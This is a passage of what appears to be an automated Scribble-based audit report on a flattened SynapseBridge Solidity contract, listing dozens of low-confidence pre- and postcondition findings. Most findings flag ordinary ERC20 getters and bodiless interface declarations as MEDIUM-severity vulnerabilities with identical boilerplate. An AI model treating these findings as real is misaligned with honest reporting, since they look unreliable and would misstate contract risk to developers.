1311 |
1312 |      /**

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-133. precondition_failure

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1719
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

1714 |      * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
1715 |      * you perform all queries on the same block. See the following
1716 |      * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
1717 |      * for more information.
1718 |      */
>> 1719 |      function getRoleMember(bytes32 role, uint256 index) public view returns
(address) {
1720 |          return _roles[role].members.at(index);
1721 |      }
1722 |
1723 |      /**
1724 |      * @dev Returns the admin role that controls `role`. See {grantRole} and

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-134. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1843
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

1838 |  /**
1839 |  * @dev Destroys `amount` tokens from the caller.
1840 |  *
1841 |  * See {ERC20-_burn}.
1842 |  */
>> 1843 |  function burn(uint256 amount) public virtual {
1844 |      _burn(msgSender(), amount);
1845 |  }
1846 |
1847 |  /**
1848 |  * @dev Destroys `amount` tokens from `account`, deducting from the
caller's

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-135. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1858
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
1853 |      * Requirements:
1854 |      *
1855 |      * - the caller must have allowance for ``accounts``'s tokens of at least
1856 |      * `amount`.
1857 |      */
>> 1858 |      function burnFrom(address account, uint256 amount) public virtual {
1859 |          uint256 decreasedAllowance = allowance(account,
_msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
1860 |
1861 |          _approve(account, _msgSender(), decreasedAllowance);
1862 |          _burn(account, amount);
1863 |      }
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-136. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1874
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
1869 | // pool data view functions
1870 | function getA() external view returns (uint256);
1871 |
1872 | function getAPrecise() external view returns (uint256);
1873 |
>> 1874 | function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 | function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
1878 | function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-137. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1878
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
1873 |  
1874 |     function getToken(uint8 index) external view returns (IERC20);  
1875 |  
1876 |     function getTokenIndex(address tokenAddress) external view returns  
(uint8);  
1877 |  
>> 1878 |     function getTokenBalance(uint8 index) external view returns (uint256);  
1879 |  
1880 |     function getVirtualPrice() external view returns (uint256);  
1881 |  
1882 |     function swapStorage()  
1883 |         external
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-138. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1904
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

1899 |         uint256 dx
1900 |     ) external view returns (uint256);
1901 |
1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
>> 1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |         external
1908 |         view
1909 |         returns (uint256 availableTokenAmount);

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-139. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1960
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
1955 | }
1956 |
1957 | // bridge/SynapseBridge.sol
1958 |
1959 | interface IERC20Mintable is IERC20 {
>> 1960 |     function mint(address to, uint256 amount) external;
1961 | }
1962 |
1963 | contract SynapseBridge is Initializable, AccessControlUpgradeable,
ReentrancyGuardUpgradeable, PausableUpgradeable {
1964 |     using SafeERC20 for IERC20;
1965 |     using SafeERC20 for IERC20Mintable;
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-140. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:683
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

678 | */
679 | interface IERC20 {
680 |     /**
681 |      * @dev Returns the amount of tokens in existence.
682 |      */
>> 683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
688 |     function balanceOf(address account) external view returns (uint256);

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-141. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:688
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
>> 688 |     function balanceOf(address account) external view returns (uint256);
689 |
690 |     /**
691 |      * @dev Moves `amount` tokens from the caller's account to `recipient`.
692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-142. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:697
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
692 | *
693 | * Returns a boolean value indicating whether the operation succeeded.
694 | *
695 | * Emits a {Transfer} event.
696 | */
>> 697 | function transfer(address recipient, uint256 amount) external returns
      | (bool);
698 |
699 | /**
700 | * @dev Returns the remaining number of tokens that `spender` will be
701 | * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 | * zero by default.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-143. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:706
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
703 |      *
704 |      * This value changes when {approve} or {transferFrom} are called.
705 |      */
>> 706 |      function allowance(address owner, address spender) external view returns
(uint256);
707 |
708 |      /**
709 |      * @dev Sets `amount` as the allowance of `spender` over the caller's
tokens.
710 |      *
711 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-144. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:722
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

717 |      * desired value afterwards:
718 |      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
719 |      *
720 |      * Emits an {Approval} event.
721 |      */
>> 722 |      function approve(address spender, uint256 amount) external returns (bool);
723 |
724 |      /**
725 |      * @dev Moves `amount` tokens from `sender` to `recipient` using the
726 |      * allowance mechanism. `amount` is then deducted from the caller's
727 |      * allowance.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-145. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:733
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
728 | *
729 | * Returns a boolean value indicating whether the operation succeeded.
730 | *
731 | * Emits a {Transfer} event.
732 | */
>> 733 | function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
734 |
735 | /**
736 | * @dev Emitted when `value` tokens are moved from one account (`from`) to
737 | * another (`to`).
738 | *
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-146. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:753
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
748 | }
749 |
750 | // bridge/interfaces/IWETH9.sol
751 |
752 | interface IWETH9 {
>> 753 |     function name() external view returns (string memory);
754 |
755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-147. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:755
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

750 | // bridge/interfaces/IWETH9.sol
751 |
752 | interface IWETH9 {
753 |     function name() external view returns (string memory);
754 |
>> 755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-148. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:757
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

752 | interface IWETH9 {
753 |     function name() external view returns (string memory);
754 |
755 |     function symbol() external view returns (string memory);
756 |
>> 757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble `#if_succeeds` with `old()` references

References

- OWASP Smart Contract Top 10

F-149. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:759
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

754 |
755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
>> 759 |     function balanceOf(address) external view returns (uint256);
760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |
763 |     receive() external payable;
764 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble `#if_succeeds` with `old()` references

References

- OWASP Smart Contract Top 10

F-150. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:761
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
756 |  
757 |     function decimals() external view returns (uint8);  
758 |  
759 |     function balanceOf(address) external view returns (uint256);  
760 |  
>> 761 |     function allowance(address, address) external view returns (uint256);  
762 |  
763 |     receive() external payable;  
764 |  
765 |     function deposit() external payable;  
766 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-151. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:769
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

764 |
765 |     function deposit() external payable;
766 |
767 |     function withdraw(uint256 wad) external;
768 |
>> 769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble `#if_succeeds` with `old()` references

References

- OWASP Smart Contract Top 10

F-152. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:771
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
766 |  
767 |     function withdraw(uint256 wad) external;  
768 |  
769 |     function totalSupply() external view returns (uint256);  
770 |  
>> 771 |     function approve(address guy, uint256 wad) external returns (bool);  
772 |  
773 |     function transfer(address dst, uint256 wad) external returns (bool);  
774 |  
775 |     function transferFrom(  
776 |         address src,
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-153. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:773
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

768 |
769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
>> 773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |
775 |     function transferFrom(
776 |         address src,
777 |         address dst,
778 |         uint256 wad

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-154. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1201
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1196 |     }
1197 |
1198 |     /**
1199 |      * @dev Returns the name of the token.
1200 |      */
>> 1201 |     function name() public view virtual returns (string memory) {
1202 |         return _name;
1203 |     }
1204 |
1205 |     /**
1206 |      * @dev Returns the symbol of the token, usually a shorter version of the
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-155. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1209
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1204 |  
1205 | /**  
1206 |  * @dev Returns the symbol of the token, usually a shorter version of the  
1207 |  * name.  
1208 |  */  
>> 1209 | function symbol() public view virtual returns (string memory) {  
1210 |     return _symbol;  
1211 | }  
1212 |  
1213 | /**  
1214 |  * @dev Returns the number of decimals used to get its user  
representation.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-156. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1226
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1221 | *
1222 | * NOTE: This information is only used for _display_ purposes: it in
1223 | * no way affects any of the arithmetic of the contract, including
1224 | * {IERC20-balanceOf} and {IERC20-transfer}.
1225 | */
>> 1226 | function decimals() public view virtual returns (uint8) {
1227 |     return _decimals;
1228 | }
1229 |
1230 | /**
1231 | * @dev See {IERC20-totalSupply}.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-157. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1233
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1228 | }
1229 |
1230 | /**
1231 |  * @dev See {IERC20-totalSupply}.
1232 |  */
>> 1233 | function totalSupply() public view virtual override returns (uint256) {
1234 |     return _totalSupply;
1235 | }
1236 |
1237 | /**
1238 |  * @dev See {IERC20-balanceOf}.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-158. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1240
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1235 |     }
1236 |
1237 |     /**
1238 |      * @dev See {IERC20-balanceOf}.
1239 |      */
>> 1240 |     function balanceOf(address account) public view virtual override returns
(uint256) {
1241 |         return _balances[account];
1242 |     }
1243 |
1244 |     /**
1245 |      * @dev See {IERC20-transfer}.

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-159. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1252
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1247 |      * Requirements:
1248 |      *
1249 |      * - `recipient` cannot be the zero address.
1250 |      * - the caller must have a balance of at least `amount`.
1251 |      */
>> 1252 |      function transfer(address recipient, uint256 amount) public virtual
override returns (bool) {
1253 |          _transfer(_msgSender(), recipient, amount);
1254 |          return true;
1255 |      }
1256 |
1257 |      /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble `#if_succeeds` with `old()` references

References

- OWASP Smart Contract Top 10

F-160. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1260
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1255 |     }
1256 |
1257 |     /**
1258 |      * @dev See {IERC20-allowance}.
1259 |      */
>> 1260 |     function allowance(address owner, address spender) public view virtual
override returns (uint256) {
1261 |         return _allowances[owner][spender];
1262 |     }
1263 |
1264 |     /**
1265 |      * @dev See {IERC20-approve}.

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-161. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1271
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1266 |      *
1267 |      * Requirements:
1268 |      *
1269 |      * - `spender` cannot be the zero address.
1270 |      */
>> 1271 | function approve(address spender, uint256 amount) public virtual override
returns (bool) {
1272 |     _approve(_msgSender(), spender, amount);
1273 |     return true;
1274 | }
1275 |
1276 | /**

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-162. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1289
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1284 |      * - `sender` and `recipient` cannot be the zero address.
1285 |      * - `sender` must have a balance of at least `amount`.
1286 |      * - the caller must have allowance for ``sender``'s tokens of at least
1287 |      * `amount`.
1288 |      */
>> 1289 |      function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool) {
1290 |          _transfer(sender, recipient, amount);
1291 |          _approve(sender, _msgSender(), _allowances[sender]
[_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
1292 |          return true;
1293 |      }
1294 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble `#if_succeeds` with `old()` references

References

- OWASP Smart Contract Top 10

F-163. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1307
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1302 |      *
1303 |      * Requirements:
1304 |      *
1305 |      * - `spender` cannot be the zero address.
1306 |      */
>> 1307 |      function increaseAllowance(address spender, uint256 addedValue) public
virtual returns (bool) {
1308 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].add(addedValue));
1309 |          return true;
1310 |      }
1311 |
1312 |      /**

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-164. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1326
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1321 |      *
1322 |      * - `spender` cannot be the zero address.
1323 |      * - `spender` must have allowance for the caller of at least
1324 |      * `subtractedValue`.
1325 |      */
>> 1326 |      function decreaseAllowance(address spender, uint256 subtractedValue)
public virtual returns (bool) {
1327 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
1328 |          return true;
1329 |      }
1330 |
1331 |      /**

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-165. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1484
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
1483 |      */
>> 1484 |     function paused() public view virtual returns (bool) {
1485 |         return _paused;
1486 |     }
1487 |
1488 |     /**
1489 |      * @dev Modifier to make a function callable only when the contract is not
paused.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-166. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1695
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1690 |     event RoleRevoked(bytes32 indexed role, address indexed account, address
indexed sender);
1691 |
1692 |     /**
1693 |      * @dev Returns `true` if `account` has been granted `role`.
1694 |      */
>> 1695 |     function hasRole(bytes32 role, address account) public view returns (bool)
{
1696 |         return _roles[role].members.contains(account);
1697 |     }
1698 |
1699 |     /**
1700 |      * @dev Returns the number of accounts that have `role`. Can be used

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-167. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1703
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1698 |  
1699 | /**  
1700 |  * @dev Returns the number of accounts that have `role`. Can be used  
1701 |  * together with {getRoleMember} to enumerate all bearers of a role.  
1702 |  */  
>> 1703 |  function getRoleMemberCount(bytes32 role) public view returns (uint256) {  
1704 |      return _roles[role].members.length();  
1705 |  }  
1706 |  
1707 | /**  
1708 |  * @dev Returns one of the accounts that have `role`. `index` must be a
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-168. postcondition_failure

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1719
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1714 |      * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
1715 |      * you perform all queries on the same block. See the following
1716 |      * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
1717 |      * for more information.
1718 |      */
>> 1719 |      function getRoleMember(bytes32 role, uint256 index) public view returns
(address) {
1720 |          return _roles[role].members.at(index);
1721 |      }
1722 |
1723 |      /**
